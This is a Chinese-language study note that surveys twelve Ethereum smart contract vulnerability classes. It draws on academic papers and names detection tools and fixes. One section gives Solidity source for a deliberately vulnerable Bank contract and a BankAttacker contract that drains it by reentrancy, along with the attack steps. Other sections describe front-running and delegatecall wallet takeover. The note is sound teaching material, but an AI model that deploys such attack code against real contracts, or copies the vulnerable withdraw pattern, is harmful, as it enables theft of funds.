目录:
- 1. 重入(Reentrancy) [1, 2, 3]
- 2. Call to the unknown [1]
- 3. Gasless send [1, 3]
- 4. Exception disorder/Mishandled Exceptions [1, 2, 3]
- 5. Type casts [1]
- 6. Keeping secrets [1]
- 7. Ether lost in transfer [1]
- 8. Unpredictable state [1, 2]
- 9. Generating randomness [1]
- 10. Timestasmp dependency [1, 2, 3]
- 11. Dangerous
DelegateCall
[3] - 12. Freezing ether [3]
参考文献:
[1]: [Principles of Security and Trust'17][A Survey of Attacks on Ethereum Smart Contracts (SoK)](https://eprint.iacr.org/2016/1007.pdf )
[2]: [CCS'16][Making Smart Contracts Smarter](https://eprint.iacr.org/2016/633.pdf )
[3]: [ASE'18][ContractFuzzer: Fuzzing Smart Contracts for Vulnerability Detection](http://jiangbo.buaa.edu.cn/ContractFuzzerASE18.pdf )
1. 重入(Reentrancy) [1, 2, 3]
- 基本概念
- 智能合约中的 fallback (回退)函数
一个智能合约中,可以有一个没有函数名,没有参数也没有返回值的函数,也就是 fallback 函数。一个没有定义 fallback 函数的合约,如果接收ether,会触发异常,并返还ether(solidity v0.4.0开始)。所以合约要接收ether,必须实现回退函数。在三种情况下,这个函数会被触发:- 如果调用这个合约时,没有匹配上任何一个函数。那么,就会调用默认的 fallback 函数。
- 当合约收到
ether
时(没有任何其它数据),这个函数也会被执行。
注意,执行 fallback 函数会消耗gas。
- 智能合约中的 fallback (回退)函数
- 场景/例子
例子引自: (https://medium.com/@MyPaoG/explaining-the-dao-exploit-for-beginners-in-solidity-80ee84f0d470)
- /* 此合约用于1)记录用户余额,2)可以取款,3)可以存款。有reentrancy漏洞。*/
-
- contract Bank{
-
- /* 地址(唯一)和余额的映射 */
- mapping(address=>uint) userBalances;
-
- /* 返回用户余额 */
- function getUserBalance(address user) constant returns(uint) {
- return userBalances[user];
- }
-
- /* 给指定的用户增加余额 */
- function addToBalance() {
- userBalances[msg.sender] = userBalances[msg.sender] + msg.value;
- }
-
- /* 用户取款(这里假设取余额中全部的钱) */
- function withdrawBalance() {
- uint amountToWithdraw = userBalances[msg.sender];
- /* 把钱转给用户。如果交易失败,则throw。 */
- if (msg.sender.call.value(amountToWithdraw)() == false) {
- throw;
- }
- /* 如果交易成功,把用户的余额设置为0。 */
- userBalances[msg.sender] = 0;
- }
- }
-
- /* 这是一个攻击具有reentrancy漏洞的智能合约(Bank)的智能合约(BankAttacker)。在这个例子里,它实现了两次攻击。 */
- contract BankAttacker{
-
- bool is_attack;
- address bankAddress;
-
- /* 输入:1)_bankAddress:要攻击的智能合约(Bank)的地址,2)_is_attack:开启或关闭攻击。*/
- function BankAttacker(address _bankAddress, bool _is_attack){
- bankAddress=_bankAddress;
- is_attack=_is_attack;
- }
-
- /* 这是一个fallback函数,用于调用withdrawnBalance函数(当开始攻击时,即is_attack为true) 。这个函数会被触发是因为有reentrancy漏洞的智能合约(Bank)中的withdrawBalance函数被执行。为了避免无限递归调用fallbacks,有必要设置有限的次数,例如这里设置2次。因为每次调用是需要gas的,如果gas用完了,攻击就失败了。 */
- function() {
- if(is_attack==true)
- {
- is_attack=false;
- if(bankAddress.call(bytes4(sha3("withdrawBalance()")))) {
- throw;
- }
- }
- }
-
- /* 存款函数。主要功能是给智能合约Bank发送75wei,并且调用addToBalance。 */
- function deposit(){
- if(bankAddress.call.value(2).gas(20764)(bytes4(sha3("addToBalance()")))
- ==false) {
- throw;
- }
- }
-
- /* 这个函数会触发Bank中的withdrawBalance函数。*/
- function withdraw(){
- if(bankAddress.call(bytes4(sha3("withdrawBalance()")))==false ) {
- throw;
- }
-
- }
- }
攻击者利用BankAttack(vulnerable contract)与Bank进行交互,主要过程:
- 攻击者首先通过调用BankAttack中的 deposit 函数发送75wei到Bank,从而调用Bank中的 addToBalance 函数。
- 【第一次取款】攻击者通过调用BankAttack中 withdraw 进行取款(取75wei)。同时,触发了Bank中的 withdrawBalance。
- Bank中的 withdrawBalance 发送75wei给BankAttack,从而触发了BankAttack的 fallback 函数,最后更新 userBalances 变量。
- 【第二次取款】BankAttack的fallback函数再次调用Bank中的 withdrawBalance 函数,相当于再次取款。注意,这个时候,相当于递归调用,因此第一次取款还未结束,因此,Bank中的变量 userBalances 的值还没有更新。所以,调用第二次取款时,Bank误以为BankAttack还存有75wei。因此,成功地再次执行了取款的操作。
以下是流程图:
- 检测方法
- 工具一: Oyente [2]
主要思想: 利用条件路径。在每次执行CALL函数之前,先利用符号执行获取整个函数的条件路径。然后检查路径[unclear] - 工具二: ContractFuzzer [3]
主要思想: 如下图所示,创建一个AttackerAgent去与目标contract交互。
- 工具一: Oyente [2]
- 修复方法
- Lock: 增加一个变量来锁定当前的状态。例如,ReentrancyGuard.sol。
- QA
- 循环调用什么时候停止?
当1) 执行最终out-of-gas, 2)达到了stack limit, 3)当攻击者所有的ether都被用完了。 - 停止后整个程序产生了什么影响?
最终,最后一个调用会失败(不影响区块链状态),因此有且仅有一个异常被抛出。之前的所有调用都被认为是合法的,因此,都成功执行完毕。
- 循环调用什么时候停止?
- 其他
- 相关漏洞:TheDao hack
2. Call to the unknown [1]
基本概念
每个智能合约的函数通过函数名和参数类型来保证唯一性(Signature)。所以,本来一个合约时想执行某函数,由于代码写错了,没有匹配到其他的函数,所以就默认调用 fallback 函数。检测方法
检测参数类型和函数名与调用函数是否一致。
3. Gasless send [1, 3]
- 基本概念
- 发送ether: send() 函数
当使用send
(相当于一个特殊的call()
)发送以太币到一个合约时,有可能会发生out-of-gas
异常。当签名不匹配任何的函数时,将会触发回退函数。由于send()
函数指定了一个空函数签名,所以当fallback函数存在时,它总是会调用它。但和一般的函数不同的是,执行send()
所消耗的gas默认上线被限定在2,300(如果特别指定上限的话,可以大于2,300)。
- 场景/例子
- 例1
合约C给合约D1和D2发送ether。会有以下三种可能的情况:- n≠0, d=D1。 C发送失败,并抛出
out-of-gas
异常。因为2,300不足以执行D1的 fallback() 函数,即count++;
。 - n≠0, d=D2。C发送成功。
- n=0, d=D1/D2。对于编译器版本<0.4.0,两个都会失败,D1是因为2,300不足以执行 fallback,D2是因为 fallback 为空。对于编译器版本≥0.4.0,D1失败,D2成功,原因同1和2。
总之,send 成功的两种可能:1)发送ether给一个合约,而这个合约的 fallback 花费小于可花费的gas。2)发送ether给一个用户。
- n≠0, d=D1。 C发送失败,并抛出
- 例2:King of the Ether Throne game
还有一个例子就是叫“King of the Ether Throne”的游戏。这个游戏的玩法大致就是发送ether到一个叫KotET的智能合约中(如下图所示)。想成为king的玩家必须要支付一些ether给当前的king,加上少量的fee给KotET这个智能合约。
假设有一个玩家想要成为king,那么他就会想KotET发送一定量(msg.value
)的ether。然后就会调用KotET的 fallback 函数。fallback 函数会首先checkmsg.value
是否大于之前的king设定的报价(LINE14)。如果小于,则说明竞价失败,则throw
。反之,就会取得王座,成为新的king。
这个contract看似没问题,实际上会有gasless send bug。当LINE17执行失败的时候(gas不够执行 fallback()),那么王座会被这个contract所持有。
那么,现在假设,重写合约(如上图LINE6所示),用call
替换send
,然后去check它的返回值,如false
则throw
。虽然这个版本看似比之前的版本要好,但是,这个合约还是有bug:假设现在有一个叫Mallory
的attacker,它的 fallback 函数里面就是一个throw
。它发送足够的ether给KotET,然后成为的新的king。这个时候,就再也没有人可以取代它的王位,因为每次给Mallory
发送ether的时候,都必须要调用Mallory
的 fallback 函数。因此,KotET的LINE6的条件会一直为true
。因此,程序不会再执行下去。
- 例1
- 参考
4. Exception disorder/Mishandled Exceptions [1, 2, 3]
- 基本概念
- 智能合约的相互调用(
call
,delegatecall
,callcode
)
在函数调用的过程中, Solidity 中的内置变量msg
会随着调用的发起而改变,msg
保存了调用方的信息包括:调用发起的地址,交易金额,被调用函数字符序列等。
三种调用方式的异同点call
: 最常用的调用方式,调用后内置变量msg
的值会修改为调用者,执行环境为被调用者的运行环境(合约的 storage)。delegatecall
: 调用后内置变量msg
的值不会修改为调用者,但执行环境为调用者的运行环境。callcode
: 调用后内置变量msg
的值会修改为调用者,但执行环境为调用者的运行环境。
- solidity的异常处理
三种抛异常的场景:- 执行到out-of-gas
- call 栈溢出
- 执行到
throw
语句
如果在执行被调用的合约时有异常抛出,那么,被调用的合约会终止执行并且revert
状态,并返回false
。但是,当一个合约以不同的方式调用另外一个合约时,solidity没有一个一致的方法去处理异常。调用的合约可能无法获取被调用的合约中的异常信息。如下图所示, - 情况一:
Bob
直接调用Alice
的ping
==>throws an exception==>执行结束==>transaction revert。所以,Bob
的x
还是为0。 - 情况二:
Bob
通过call
调用Alice
的ping
==>call
返回false==>执行继续。所以,Bob
的x
为0。
更一般的情况,假设有一串函数调用链(如,a()调用b(),b()调用c(),...),直到异常抛出。那么,异常处理如下: - 情况一: 所有函数调用都是直接调用,直到程序停止,所有的side effect都revert。所有由最初调用函数的用户提供的的gas都被消耗完。
- 情况二: 调用链中至少有一个函数调用是通过
call
来实现的。那么,异常会进行传递(类似于溯源),被调用的合约的side effect都会revert。所有由最初调用函数的用户提供的的gas也都被消耗完。
可见,处理异常的方式的不一致性会影响到合约的安全性。比如,如果仅仅根据没有异常抛出就认为转账是成功的,这是不安全的。有研究表明,~28%的合约没有去检查call/send
调用。
5. Type casts [1]
基本概念
solidity是强类型语言,所以会有类型检查,如变量赋值时,如把字符串赋值给整型变量。但是,有些情况即使类型不匹配,也不会进行类型检查,因此会导致此bug。- 场景/例子
如下图所示,solidity编译器不会检查以下类型是否匹配:c
是否是一个有效地址;Alice
里是否真的有ping
。
所以,有时候,开发者以为编译器做了类型检查,但其实并没有。所以,在执行时,会出现以下情况:c
不是一个地址,所以直接return。- 正确调用,代码正确执行。
c
是一个正确的地址,但是,没有匹配任何Alice
中的函数,所以调用alice
的 fallback 函数。
以上三种情况中任意一种发生,都不会抛出异常。所以,开发者不会察觉。
6. Keeping secrets [1]
- 基本概念
许多应用都需要暂时合约的字段保密,即暂时不可见。比如,两个玩家对战,那么,下一步可能需要暂时对对手不可见。但是,尽管solidity可以申明某些变量为private,但是,这并无法保证它是真的不可见的。这个时候,可能就需要一些加密技术去解决这个问题。
7. Ether lost in transfer [1]
- 基本概念
给一个地址发送ether,这个地址符合地址规范,但是是一个完全独立的空地址。所以,会导致ether丢失。
8. Unpredictable state [1, 2]
定义
在[2]中,它也被称作"Transaction-Ordering Dependence(TOD)"。一个block包含一个transaction的集合,同属于一个block的transaction的执行顺序是不确定的(只有矿工可以确定)。因此,也就导致了block的状态是不确定的。假设block处于状态,其中包含了两个transaction 和。和又同时调用了同一个合约。那么,在这个时候,用户是无法知道这个合约的状态的,因为这取决于和的实际执行顺序。- 场景
- 场景一: Benign Scenario
假设和差不多时间发送信息到Puzzle
。其中,是来自合约的所有者,他想更新提出方案的奖励值。是来自提出解决方案的用户,他想通过方案得到奖励。那么,在这个时候,和的执行顺序会影响到提出方案的用户最终能获得多少奖励。 - 场景二: Malicious Scenario
注意,从被广播到被记录在block之间,有12s的时间间隔。也就是说,Puzzle
合约的所有者可以一直保持监听网络,看是否有人提到解决方案到Puzzle
。一旦有,他就发送一个transaction去更新奖励(比如设为一个很小的数)。在这种情况下,合约的所有者就很有可能(注意,并非一定)通过很小的花费就得到了解决方案。
- 场景一: Benign Scenario
9. Generating randomness [1]
- 基本概念
有的开发者可能会利用下一个block的hash值或时间戳作为生成随机数的种子,但是在就像下面10. Timestasmp dependency中提到的,timestamp在一定程度上是可以"受控"于矿工。所以,这会导致这个bug。
10. Timestasmp dependency [1, 2, 3]
基本概念
很多合约的执行逻辑是和当前block的时间戳有关的。而一个block的时间戳是由矿工(挖矿时的系统)决定的,并且允许有。但是,这里时间可以允许有900秒的偏移(The miner could cheat in the timestamp by a tolerance of 900 seconds。场景/例子
第五行到第七行依赖于当前block的时间戳。因此,矿工可以事先计算出对自己有利的时间戳,并且在挖矿时将时间设置成对自己有利的时间。- 检测方法
- 工具一: Oyente [2]
获取执行路径,判断路径中是否依赖时间戳。 - 工具二: ContractFuzzer [3]
是否同时满足两个条件: 1)依赖于时间戳,2)是否有转账。
- 工具一: Oyente [2]
11. Dangerous `DelegateCall` [3]
- 基本概念
Exception disorder中提到了3种智能合约相互调用的方法。
QAdelegatecall
和call
的区别?
假设在contract_test合约中分别有nameReg.call("somefunction")以及nameReg.delegatecall("somefunction"),那么,nameReg.call以nameReg合约的身份在nameReg中执行somefunction。而nameReg.delegatecall以contract_test合约的身份在nameReg中执行somefunction。- 为什么会有
delegatecall
?
设计delegatecall
的目的是用于实现类似于代码库的调用。delegatecall
的目的是让合约在不用传输自身状态(如balance、storage)的情况下可以使用其他合约的代码。
场景/例子
在Wallet
合约中,LINE6调用delegatecall
并且传参msg.data
。这使得attacker可以调用walletLibrary
中的任意一个public function。因此,attacker可以调用LINE10的initWallet
,以此成为Wallet
这个合约的拥有者。然后他就可以从wallet
发送ether到他自己的地址。- 参考
12. Freezing ether [3]
基本概念
有些合约用于接受ether,并转账给其他地址。但是,这些合约本身并没有自己实现一个转账函数,而是通过delegatecall
去调用一些其他合约中的转账函数去实现转账的功能。万一这些提供转账功能的合约执行suicide
或self-destruct
操作的话,那么,通过delegatecall
调用转账功能的合约就有可能发生ether被冻结的情况。- 检测方法
- 工具一: ContractFuzzer [3]
如果balance大于0且没有转账功能。
- 工具一: ContractFuzzer [3]